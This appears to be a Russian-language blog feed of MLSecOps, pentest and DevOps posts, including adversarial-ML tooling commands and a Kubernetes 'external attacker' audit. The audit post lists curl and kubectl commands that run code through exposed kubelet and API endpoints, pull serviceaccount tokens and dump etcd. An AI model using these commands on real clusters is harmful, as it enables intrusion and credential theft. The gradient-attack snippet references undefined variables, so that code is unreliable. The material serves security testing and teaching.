Найти тему
Переопределение интерфейса взаимодействия с моделью в TextAttack Наследуемся от родительского класса ModelWrapper и переопределяем __call__: import requests import json import numpy as np from textattack.models.wrappers import ModelWrapper class APIMockModelRemoteBinary(ModelWrapper): def __init__(self, url): self.url = url def __call__(self, text_input_list): return self.send_requests(text_input_list) def send_requests(self, text_input_list): responses = [] for text in text_input_list: try: payload = {"text": text} response = requests.post( self.url, json=payload, timeout=5 ) response.raise_for_status() prediction_data = response.json() prediction = prediction_data.get("prediction") if prediction is None: raise ValueError("Ответ не содержит поле 'prediction'") # Преобразование в формат [[negative_prob, positive_prob]] responses.append([1 - prediction, prediction]) except requests.exceptions.RequestException as e: print(f"Ошибка запроса: {e}") # Возвращаем нейтральные вероятности в случае ошибки responses.append([0.5, 0.5]) except (ValueError, KeyError) as e: print(f"Ошибка обработки ответа: {e}") responses.append([0.5, 0.5]) return np.array(responses) Как использовать: from textattack.attack_recipes import TextFoolerJin2019, DeepWordBugGao2018 from textattack.datasets import Dataset from textattack.attack_results import SuccessfulAttackResult from textattack import Attacker, AttackArgs text = "Этот какнал просто потрясающий!" label = 1 # Создаем датасет с одним примером dataset = Dataset([(text, label)]) # URL вашего API url = "http://127.0.0.1:8000/predict" # Инициализация обертки модели model_wrapper = APIMockModelRemoteBinary(url) # Настройки атаки attack_args = AttackArgs( num_examples=1, # Сколько примеров атаковать checkpoint_interval=5, parallel=False, # Отключаем параллелизм при первом запуске disable_stdout=True # Отключаем вывод в консоль ) # Список атакующих рецептов attack_recipes = [ TextFoolerJin2019, DeepWordBugGao2018 ] for recipe in attack_recipes: print(f"\nЗапуск атаки: {recipe.__name__}") attack = recipe.build(model_wrapper) attacker = Attacker(attack, dataset, attack_args) attack_results = attacker.attack_dataset() # Анализ результатов for result in attack_results: if isinstance(result, SuccessfulAttackResult): print(f"Успешная атака: {result.perturbed_text()}") else: print("Атака не удалась") Таким образом, код позволяет выполнить атаку на модель машинного обучения, которая доступна через REST API. Наслаждаемся🍷 #MLSecOps
1 неделю назад
Инструкция по использованию полуавтоматизированных инструментов MLSecOps (Часть 4) Особые сценарии LSTM (Keras) + пользовательские данные docker run -v $(pwd)/models/nlp:/models -v $(pwd)/data:/data -it ml-tools \ python -m art.run_attack \ --model-path /models/lstm.h5 \ --model-type keras \ --attack zoo \ --dataset custom \ --data-path /data/custom_texts.npy \ --labels-path /data/custom_labels.npy Регрессионная модель (PyTorch) docker run -v $(pwd)/models/regression:/models -v $(pwd)/data:/data -it ml-tools \ python -m art.run_attack \ --model-path /models/pytorch_regression.pth \ --attack saliency_map \ --dataset custom \ --data-path /data/regression_test.csv #MLSecOps
1 неделю назад
Инструкция по использованию полуавтоматизированных инструментов MLSecOps (Часть 3) 6. AI Fairness 360 (AIF360) Назначение: Оценка справедливости моделей Проверяет: • Дисбаланс в защищенных атрибутах (пол, возраст, раса) • Метрики: статистический паритет, равенство шансов # Логистическая регрессия (CSV-данные) docker run -v $(pwd)/models/regression:/models -v $(pwd)/data:/data -it ml-tools \ python -m aif360.run \ --model-path /models/credit_scoring.pkl \ --dataset /data/credit_data.csv \ --protected-attribute "age" \ --metric statistical_parity 7. Garak Назначение: Тестирование LLM на безопасность Проверяет: • Уязвимости к инъекциям кода/запросов • Утечки данных и неожиданное поведение Для локальных LLM # LLaMA-2 (Hugging Face) docker run -v $(pwd)/models/llm/llama-2-7b:/model -it ml-tools \ garak --model_type huggingface --model_name /model --probes promptinject,leakreplay # Custom GPT-подобной модели docker run -v $(pwd)/models/llm/custom-gpt:/model -it ml-tools \ garak --model_type custom --model_path /model --plugins code_injection.py 8. Mindgard Назначение: Атаки на ONNX-модели Проверяет: • Уязвимость к шуму • Работу с различными input shapes Для ONNX-моделей: docker run -v $(pwd)/models/cv:/models -it ml-tools \ mindgard attack \ --target /models/mobilenet.onnx \ --attack adversarial_patches \ --input-shape 1,3,224,224 9. ONNX Runtime Назначение: Бенчмаркинг производительности Проверяет: • Скорость инференса • Оптимизацию моделей # Для CV-модели docker run -v $(pwd)/models/cv:/models -it ml-tools \ onnxruntime-benchmark \ --model /models/resnet50.onnx \ --input-shape 1,3,224,224 \ --iterations 100 # Для NLP-модели docker run -v $(pwd)/models/nlp:/models -it ml-tools \ onnxruntime-benchmark \ --model /models/bert-base.onnx \ --input-shape 1,128 \ --dtype int64 #MlSecOps
1 неделю назад
Инструкция по использованию полуавтоматизированных инструментов MLSecOps (Часть 2) 3. TextAttack Назначение: Тестирование NLP-моделей на устойчивость к текстовым атакам Проверяет: • Уязвимость к замене слов, добавлению шума, семантическим искажениям • Эффективность атак типа TextFooler, BERT-Attack # BERT (Hugging Face) docker run -v $(pwd)/models/nlp/bert-base-uncased:/model -it ml-tools \ python -m art.run_text_attack \ --model-type huggingface \ --model-name /model \ --attack textfooler \ --dataset imdb \ --text-column "review" Для кастомных моделей # LSTM (Keras + CSV) docker run -v $(pwd)/models/nlp:/models -v $(pwd)/data:/data -it ml-tools \ textattack attack \ --model-from-file /models/lstm_wrapper.py \ --dataset csv:/data/reviews.csv \ --input-column "text" # Scikit-learn (TF-IDF + классификатор) docker run -v $(pwd)/models/nlp:/models -it ml-tools \ textattack attack \ --model-from-file /models/sklearn_pipeline.joblib \ --dataset huggingface:imdb 4. Counterfit Назначение: Автоматизированные атаки на ML-модели Проверяет: • Уязвимость к атакам Hop Skip Jump, Carlini-Wagner (CW) • Работу с регрессией и классификацией # Для Scikit-learn (регрессия) docker run -v $(pwd)/models/regression:/models -v $(pwd)/data:/data -it ml-tools \ counterfit run \ --target /models/housing_prices.pkl \ --framework sklearn \ --attack cg \ --input-data /data/housing_test.csv \ --output-dir /results # Для Keras (LSTM) docker run -v $(pwd)/models/nlp:/models -it ml-tools \ counterfit run \ --target /models/lstm-sentiment.h5 \ --framework tensorflow \ --attack hop_skip_jump 5. Foolbox Назначение: Генерация примеров для нейросетей Проверяет: • Эффективность градиентных атак (PGD, FGSM) • Устойчивость моделей к boundary attacks Для TensorFlow (ResNet): docker run -v $(pwd)/models/cv:/models -it ml-tools \ python -m foolbox.attacks \ --model /models/resnet50.h5 \ --attack pgd \ --dataset cifar10 \ --eps 0.3 \ --batch-size 16 Для PyTorch (LSTM): docker run -v $(pwd)/models/nlp:/models -it ml-tools \ python -m foolbox.attacks \ --model /models/lstm.pth \ --attack boundary \ --task nlp \ --dataset rotten_tomatoes #MlSecOps
1 неделю назад
Инструкция по использованию полуавтоматизированных инструментов MLSecOps (Часть 1) Структура проекта: models/ ├── cv/ │ ├── resnet50.pth # PyTorch │ └── mobilenet.onnx # ONNX ├── nlp/ │ ├── bert-base-uncased/ # Hugging Face │ ├── lstm-sentiment.h5 # Keras │ └── text_classifier.joblib # Scikit-learn ├── llm/ │ └── llama-2-7b/ # Кастомная LLM └── regression/ └── housing_prices.pkl # Scikit-learn data/ ├── imagenet_samples/ # Для CV └── imdb_reviews.csv # Для NLP 1. ModelScan Назначение: Статический анализ моделей на безопасность Проверяет: • Наличие вредоносного кода в моделях • Корректность зависимостей и версий фреймворков • Уязвимости в сериализованных объектах (например, pickle-файлах) # Для PyTorch (CV-классификатор) docker run -v $(pwd)/models/cv:/models modelscan scan /models/resnet50.pth --type pytorch # Для TensorFlow SavedModel (NLP) docker run -v $(pwd)/models/nlp:/models modelscan scan /models/sentiment_model/ --type tensorflow 2. Adversarial Robustness Toolbox Назначение : Тестирование устойчивости к атакам Проверяет: • Уязвимость к атакам FGSM, PGD, ZOO и др. • Способность модели противостоять искажениям входных данных Для CV-моделей (атаки FGSM, PGD): # PyTorch (ImageNet) docker run -v $(pwd)/models/cv:/models -v $(pwd)/data:/data -it ml-tools \ python -m art.run_attack \ --model-path /models/resnet50.pth \ --model-type pytorch \ --attack pgd \ --dataset imagenet \ --data-path /data/imagenet_samples/ # ONNX (MNIST) docker run -v $(pwd)/models/cv:/models -it ml-tools \ python -m art.run_attack \ --model-path /models/mnist.onnx \ --attack fgsm \ --dataset mnist \ --input-shape 1,1,28,28 #MLSecOps
1 неделю назад
Если после обновления не открывается sandbox в Burp Suite: find ~ -type f -name "chrome-sandbox" sudo chown root:root /home/user/BurpSuitePro/burpbrowser/131.0.6778.139/chrome-sandbox && sudo chmod 4755 /home/user/BurpSuitePro/burpbrowser/131.0.6778.139/chrome-sandbox #Pentest
1 месяц назад
Простой бэкап бд на голом сервере У нас есть один контейнер PostgreSQL, в котором размещены две базы данных. Необходимо организовать ежедневное создание резервных копий с ротацией. В пятницу существует риск вывода базы данных из строя, поэтому важно иметь возможность быстро восстановить её. При этом установка стороннего программного обеспечения на сервер запрещена. Создание скрипта для бэкапов (backup.sh): #!/bin/bash # Директория для хранения дампов BACKUP_DIR="./backups" mkdir -p "$BACKUP_DIR" # Текущая дата для имени файла CURRENT_DATE=$(date +%Y-%m-%d) # Имена баз данных DATABASES=("auth" "gateway") # Удаление старых дампов (старше 7 дней) find "$BACKUP_DIR" -type f -name "*.sql.gz" -mtime +7 -exec rm {} \; # Путь к docker-compose.yml COMPOSE_FILE="./docker-compose-prod.yml" # Создание дампа для каждой базы данных for DB_NAME in "${DATABASES[@]}"; do DUMP_FILE="$BACKUP_DIR/${DB_NAME}_${CURRENT_DATE}.sql" DUMP_FILE_GZ="$DUMP_FILE.gz" # Выполнение дампа docker compose -f "$COMPOSE_FILE" exec -T db pg_dump -U postgres "$DB_NAME" > "$DUMP_FILE" # Сжатие дампа gzip -f "$DUMP_FILE" echo "Дамп базы данных $DB_NAME создан: $DUMP_FILE_GZ" done Для автоматизации ежедневного создания бэкапов добавляем задачу в cron: crontab -e Добавляем строку: 0 2 * * * /home/user/backup.sh Это будет запускать скрипт ежедневно в 2:00 ночи. Создание скрипта для восстановления (restore.sh): #!/bin/bash # Проверка наличия аргументов if [ "$#" -ne 2 ]; then echo "Использование: $0 <имя базы данных> <путь к файлу дампа>" exit 1 fi DB_NAME=$1 DUMP_FILE=$2 # Проверка существования файла дампа if [ ! -f "$DUMP_FILE" ]; then echo "Ошибка: файл дампа '$DUMP_FILE' не найден." exit 1 fi # Путь к docker-compose.yml COMPOSE_FILE="./docker-compose-prod.yml" # Проверка наличия docker-compose.yml if [ ! -f "$COMPOSE_FILE" ]; then echo "Ошибка: файл docker-compose-prod.yml не найден." exit 1 fi # Завершение всех активных подключений к базе данных echo "Завершение активных подключений к базе данных '$DB_NAME'..." docker compose -f "$COMPOSE_FILE" exec -T db psql -U postgres -c "SELECT pg_terminate_backend(pg_stat_activity.pid) FROM pg_stat_activity WHERE pg_stat_activity.datname = '$DB_NAME' AND pid <> pg_backend_pid();" # Удаление существующей базы данных и создание новой echo "Удаление базы данных '$DB_NAME'..." docker compose -f "$COMPOSE_FILE" exec -T db dropdb -U postgres --if-exists "$DB_NAME" echo "Создание новой базы данных '$DB_NAME'..." docker compose -f "$COMPOSE_FILE" exec -T db createdb -U postgres "$DB_NAME" # Восстановление данных echo "Восстановление базы данных '$DB_NAME' из файла '$DUMP_FILE'..." docker compose -f "$COMPOSE_FILE" exec -T db psql -U postgres -d "$DB_NAME" < "$DUMP_FILE" echo "Восстановление завершено." Теперь, если в пятницу вечером что-то пойдёт не так, можно быстро восстановить базу данных с помощью команды (но это не точно): ./restore.sh auth ./backups/auth_2025-02-12.sql.gz #DevOps
1 месяц назад
Как перенести виртуальное окружение с библиотеками для ИИ на локальный VPS 1. На ПК Установка пакетов для компиляции Python такой же весрии, как на VPS: sudo apt install -y build-essential checkinstall sudo apt install -y libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev zlib1g-dev openssl libffi-dev python3-dev python3-setuptools wget Скачиваем и распаковываем исходники Python: cd /usr/src sudo wget https://www.python.org/ftp/python/3.11.10/Python-3.11.10.tgz sudo tar xzf Python-3.11.10.tgz Компилируем и устанавливаем Python, включив поддержку SSL: cd Python-3.11.10 sudo ./configure --enable-optimizations --with-openssl=$(pkg-config --variable=prefix openssl) sudo make altinstall Использую poetry для решения зависимостей: poetry env use python3.11.10 poetry shell cat requirements.txt | xargs poetry add poetry install poetry export -f requirements.txt --output requirements.txt Скачиваем все пакеты в папку: mkdir -p packages pip download -r requirements.txt -d packages/ Создание архива и его разбиение: tar -czvf packages.tar.gz packages/ split -b 512M packages.tar.gz packages_part_ 2. Перенос на VPS Склеиваем и распаковываем архив: cat packages_part_* > packages.tar.gz tar -xzvf packages.tar.gz Устанавливаем пакеты из локального репозитория: poetry env use python3.11.10 pip install --no-index --find-links=packages -r requirements.txt poetry lock #DevOps
1 месяц назад
Озвучиваем электронные книги с помощью нейронных сетей Сперва необходимо извлечь текст из электронной книги. Функция для извлечения текста из EPUB: def extract_text_from_epub(epub_path): book = epub.read_epub(epub_path) text = "" # Проходим по всем элементам книги for item in book.get_items(): # Проверяем, является ли элемент документом (например, главой) if item.get_type() == 9: soup = BeautifulSoup(item.get_body_content(), 'html.parser') # Извлекаем текст и заменяем неразрывные пробелы на обычные text += soup.get_text().replace("\xa0", " ") + "\n\n" return text В библиотеке ebooklib каждый элемент имеет числовой тип: 1 — ITEM_UNKNOWN (неизвестный тип). 2 — ITEM_IMAGE (изображение). 4 — ITEM_STYLE (стили CSS). 6 — ITEM_SCRIPT (скрипты). 9 — ITEM_DOCUMENT (документ, например, глава книги). Поэтому добавлена проверка типа 9. Следующим этапом разделяем текст на предложения. Функция для разделения текста на предложения: def split_text_by_sentences(text): cleaned_text = re.sub(r'[\d=]', '', text) # Регулярное выражение для поиска границ предложений sentences = re.split(r'(?<=[.!?])\s+', cleaned_text) return sentences Для озвучивания текста используются готовые языковые модели из проекта Coqui TTS. Посмотреть готовые языковые модели можно с помощью: print(TTS().list_models().list_models()) Инициализация русской модели: tts = TTS(model_name="tts_models/multilingual/multi-dataset/xtts_v2", progress_bar=True, gpu=False) Теперь извлекаем текст из книги и разделяем его на абзацы и предложения: text = extract_text_from_epub("robert_dzh_makkenzi_upryamij_reb.epub") paragraphs = re.split(r'\n\s*\n', text) sentences = split_text_by_sentences(text) Каждое предложение озвучивается отдельно и сохраняется в виде аудиофайла: for i, sentence in enumerate(sentences): if sentence.strip(): # Пропуск пустых предложений tts.tts_to_file( text=sentence, file_path=f"output_sentence_{i}.wav", language="ru", # Указываем язык speaker="Ana Florence" # Указываем голос ) Объединение аудиофайлов: combined = AudioSegment.empty() for i in range(len(sentences)): try: sound = AudioSegment.from_wav(f"output_sentence_{i}.wav") combined += sound except FileNotFoundError: continue # Сохранение объединенного файла combined.export("final_output.wav", format="wav") Аудиокнига готова :) #ML
2 месяца назад
Аудит Kubernetes (внешний нарушитель) 1. Разведка и сканирование Для начальной разведки нарушитель может использовать инструменты, такие как nmap, чтобы определить открытые порты и сервисы на целевой системе. А) Сканирование сети nmap -p 443,6443,8080,10250,2379,30000-32767 <target-ip> где: 443/TCP, 6443/TCP: Порт API Kubernetes (обычно защищен, но может быть доступен). 8080/TCP: Небезопасный порт API (если открыт, это серьезная уязвимость). 10250/TCP: Kubelet API (может быть использован для выполнения команд). 2379/TCP: etcd (хранилище ключ-значение Kubernetes). 30000-32767/TCP: NodePort (сервисы, доступные извне). Б) Поиск уязвимостей с помощью Kube-Hunter Kube-Hunter — это инструмент для автоматического поиска уязвимостей в Kubernetes. docker run --rm aquasec/kube-hunter:latest --remote <target-ip> Kube-Hunter проверяет: - Открытые порты. - Небезопасные конфигурации API. - Возможность выполнения команд через kubelet. - Доступность etcd. 2. Атаки на Kubernetes API А) Небезопасный порт 8080 Если порт 8080 открыт, нарушитель может получить доступ к API без авторизации. Получить список узлов: curl --insecure -X GET https://<target-ip>:8080/api/v1/nodes Получить список подов: curl --insecure -X GET https://<target-ip>:8080/api/v1/pods Получить список подов на конкретной ноде: curl --insecure -X GET https://<target-ip>:8080/api/v1/pods?fieldSelector=spec.nodeName=<node-name> Б) Атака с использованием токена Если нарушитель получил токен, он может использовать его для авторизации в API. Получить список узлов: curl --insecure -X GET --header "Authorization: Bearer <token>" https://<target-ip>:6443/api/v1/nodes Получить список подов: curl --insecure -X GET --header "Authorization: Bearer <token>" https://<target-ip>:6443/api/v1/pods В) Выполнение команд в контейнере Без авторизации (порт 8080): kubectl -s http://<target-ip>:8080 exec -it {podName} -- /bin/bash С авторизацией (порт 6443): curl --insecure -X POST --header "Authorization: Bearer <token>" --header "Content-Type: application/json" --data '{"command": ["<command>"], "container": "<container-name>"}' https://<target-ip>:6443/api/v1/namespaces/<namespace>/pods/<pod-name>/exec 3. Атаки на kubelet Kubelet — это компонент Kubernetes, который управляет контейнерами на узлах. А) Получение метрик Kubelet предоставляет метрики на порту 10250. curl -k https://<target-ip>:10250/metrics Б) Получение списка подов curl -k https://<target-ip>:10250/pods В) Выполнение команд в контейнере curl -Gks https://<target-ip>:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/' С) Доступ к логам контейнера curl -k https://<target-ip>:10250/logs/{namespace}/{pod}/{container} 4. Атаки на etcd Etcd — это хранилище ключ-значение Kubernetes. Если он доступен, нарушитель может получить доступ к критическим данным. А) Проверка доступности etcd curl -k https://<target-ip>:2379/version Б) Получение данных из etcd etcdctl --endpoints=https://<target-ip>:2379 get / --prefix 5. Атаки на NodePort NodePort — это сервисы, доступные на портах 30000-32767. Если они не защищены, нарушитель может взаимодействовать с ними. А) Проверка доступности сервиса curl http://<target-ip>:<nodeport> Б) Сканирование веб-сервиса dirb http://<target-ip>:<nodeport> 6. Поиск утечек токенов Нарушитель может попытаться найти токены ServiceAccount в подах. А) Получение списка подов curl -k https://<target-ip>:10250/pods Б) Извлечение токена curl -k https://<target-ip>:10250/run/{namespace}/{pod}/{container} -d 'command=cat' -d 'args=/var/run/secrets/kubernetes.io/serviceaccount/token' Использование таких инструментов, как nmap, kube-hunter, и методов эксплуатации через API, kubelet или etcd, подчеркивает необходимость строгого контроля доступа и постоянного мониторинга. #Pentest
2 месяца назад
Атаки на классификаторы изображений: Семейство градиентных атак Градиентные атаки являются мощным инструментом для проверки устойчивости моделей классификации изображений. Эти методы создают отравленные примеры, которые вводят модель в заблуждение, провоцируя ошибки в прогнозах. 1. FGSM — это одна из самых простых и быстрых атак. Она добавляет шум в направлении градиента функции потерь модели, чтобы максимизировать ошибку. Эта атака эффективна благодаря своей простоте и скорости выполнения. Преимущества: скорость, простота реализации. Недостатки: ограниченная мощность атаки. 2. PGD — это итеративный метод, который многократно применяет FGSM с меньшим шагом и проецирует результат обратно в допустимое пространство. Преимущества: высокая эффективность для создания сложных атак. Недостатки: увеличенное время вычислений. 3. C&W_L2 — это одна из наиболее эффективных атак, которая минимизирует L2-норму разницы между исходным и обманным примером, одновременно пытаясь заставить модель сделать неправильный прогноз. Эта атака известна своей высокой точностью и сложностью. Особенность: точность при минимальном визуальном искажении. Недостаток: высокая вычислительная сложность. 4. DeepFool — это атака, которая пытается найти минимальное возмущение, необходимое для того, чтобы модель переключилась на другой класс. Этот метод особенно полезен для оценки устойчивости модели к малым изменениям входных данных. Преимущества: отличная оценка устойчивости к малым изменениям. Недостатки: требовательность к ресурсам. 5. BIM — это итеративная версия FGSM. Каждый шаг прибавляет шум меньшей величины, обеспечивая более точное воздействие. 6. NewtonFool — атака, которая использует метод Ньютона для поиска минимального возмущения, необходимого для того, чтобы модель переключилась на другой класс. Этот метод обеспечивает высокую точность и эффективность. Дригие методы: * NewtonFool — минимизация возмущений через метод Ньютона. * JSMA — изменения ограничиваются значимыми пикселями. * SquareAttack — случайные квадратные области для модификации. * HopSkipJump — итеративный метод для минимального возмущения. * ElasticNet — комбинация L1 и L2 регуляризаций. attacks = { "FGSM": FastGradientMethod(estimator=classifier, eps=9.0), "PGD": ProjectedGradientDescent(estimator=classifier, eps=9.0, eps_step=2.0, max_iter=10), "C&W_L2": CarliniL2Method(classifier=classifier, confidence=0.0, targeted=False, learning_rate=0.01, max_iter=10, binary_search_steps=1, initial_const=0.01), "DeepFool": DeepFool(classifier=classifier, max_iter=10, epsilon=1e-6), "BIM": BasicIterativeMethod(estimator=classifier, eps=9.0, eps_step=2.0, max_iter=10), "NewtonFool": NewtonFool(classifier=classifier, max_iter=10, eta=0.01), "JSMA": SaliencyMapMethod(classifier=classifier, theta=0.1, gamma=0.1), "SquareAttack": SquareAttack(estimator=classifier, norm=2, max_iter=100, eps=0.9), "HopSkipJump": HopSkipJump(classifier=classifier, max_iter=50, norm=2, targeted=False), "VirtualAdversarialMethod": VirtualAdversarialMethod(classifier=classifier, max_iter=50, eps=0.9), "ElasticNet": ElasticNet(classifier=classifier, confidence=0.0, targeted=False, learning_rate=0.01, max_iter=10, binary_search_steps=1, initial_const=0.01), "AutoAttack": AutoAttack(estimator=classifier, norm=2, eps=0.3) } image_np = np.array(image, dtype=np.float32) # Преобразование в batch-формат input_tensor = np.expand_dims(image_np, axis=0) # Бинарная метка label = np.array([[0, 1]], dtype=np.float32) for attack_name, attack in attacks.items(): adversarial_images = attack.generate(x=input_tensor, y=label) print(f"{name} prediction: {classifier.predict(adversarial_image)}") Важно отметить, что для создания отравленных примеров с использованием градиентных атак обязательно требуется наличие модели. Это связано с тем, что атаки создают уникальные отравленные примеры для каждой модели, используя её внутреннюю структуру и параметры. #MLSecOps
3 месяца назад
Китайский GPT Недавно в сети появилась новая звезда среди языковых моделей — Qwen2.5.1 Coder. По результатам тестов, она демонстрирует производительность, сравнимую с GPT-4, что вызывает немалый ажиотаж среди разработчиков и исследователей. В интернете появились инструкции для запуска на MacOS, внесу корректировки для Linux с небольшими дополнениями: Различия между llama.cpp и Qwen2.5.1 Coder Важно отметить разницу между двумя проектами: • llama.cpp: Это проект, разработанный для запуска больших языковых моделей на обычных настольных компьютерах. Он оптимизирован для эффективного использования ресурсов и может запускать модели, которые обычно требуют мощных GPU. • Qwen2.5.1 Coder: Это сама языковая модель. Она должна быть скачана отдельно и затем использована с помощью llama.cpp. Установка llama.cpp git clone https://github.com/ggerganov/llama.cpp cd llama.cpp sudo apt-get install build-essential cmake mkdir build cd build cmake .. make Запуск сервера с Qwen2.5.1 Coder ./llama-server -m "./models/Qwen2.5.1-Coder-7B-Instruct-Q5_K_M.gguf" -t 8 --mlock -v -fa --temp 0.4 --repeat-penalty 1.10 --repeat-last-n -1 --top-k 40 --top-p 0.90 --min-p 0.10 -c 16000 --alias "MyOfflineModel" Параметры -m "./models/Qwen2.5.1-Coder-7B-Instruct-Q5_K_M.gguf": Указывает путь к файлу модели. Убедитесь, что вы скачали модель и указали правильный путь. -t 8: Использует 8 потоков для вычислений. Вы можете изменить это значение в зависимости от количества ядер вашего процессора. --mlock: Блокирует память модели в оперативной памяти, чтобы избежать ее выгрузки на диск. Это может улучшить производительность. -v: Включает подробное логирование, что полезно для отладки. --alias: Устанавливает псевдоним для сервера. -fa: Включает режим "fast attention", который может ускорить вычисления. --temp 0.4: Устанавливает температуру генерации текста. Чем ниже температура, тем более детерминированный и предсказуемый будет вывод. --repeat-penalty 1.10: Устанавливает штраф за повторение токенов. Чем выше значение, тем меньше вероятность повторения токенов. --repeat-last-n -1: Устанавливает количество последних токенов, которые будут учитываться при применении штрафа за повторение. Значение -1 означает, что все токены будут учитываться. --top-k 40: Ограничивает выбор следующего токена только 40 наиболее вероятными вариантами. --top-p 0.90: Устанавливает значение "top-p" (nucleus sampling), которое ограничивает выбор следующего токена только теми, которые составляют 90% от общей вероятности. --min-p 0.10: Устанавливает минимальную вероятность для выбора токена. -c 16000: Устанавливает контекстный размер модели. В данном случае, модель будет использовать контекст длиной 16000 токенов. Теперь добавим http авторизацию: sudo sh -c "echo -n 'admin:' >> /etc/nginx/.htpasswd" sudo sh -c "openssl passwd -apr1 'your_password' >> /etc/nginx/.htpasswd" Создаем конфигурационный файл Nginx: sudo nano /etc/nginx/sites-available/llama-server Добавляем: server { listen 80; server_name your_server_domain_or_IP; location / { auth_basic "Restricted Content"; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } Включаем конфигурацию и перезапускаем: sudo ln -s /etc/nginx/sites-available/llama-server /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl restart nginx #ML
4 месяца назад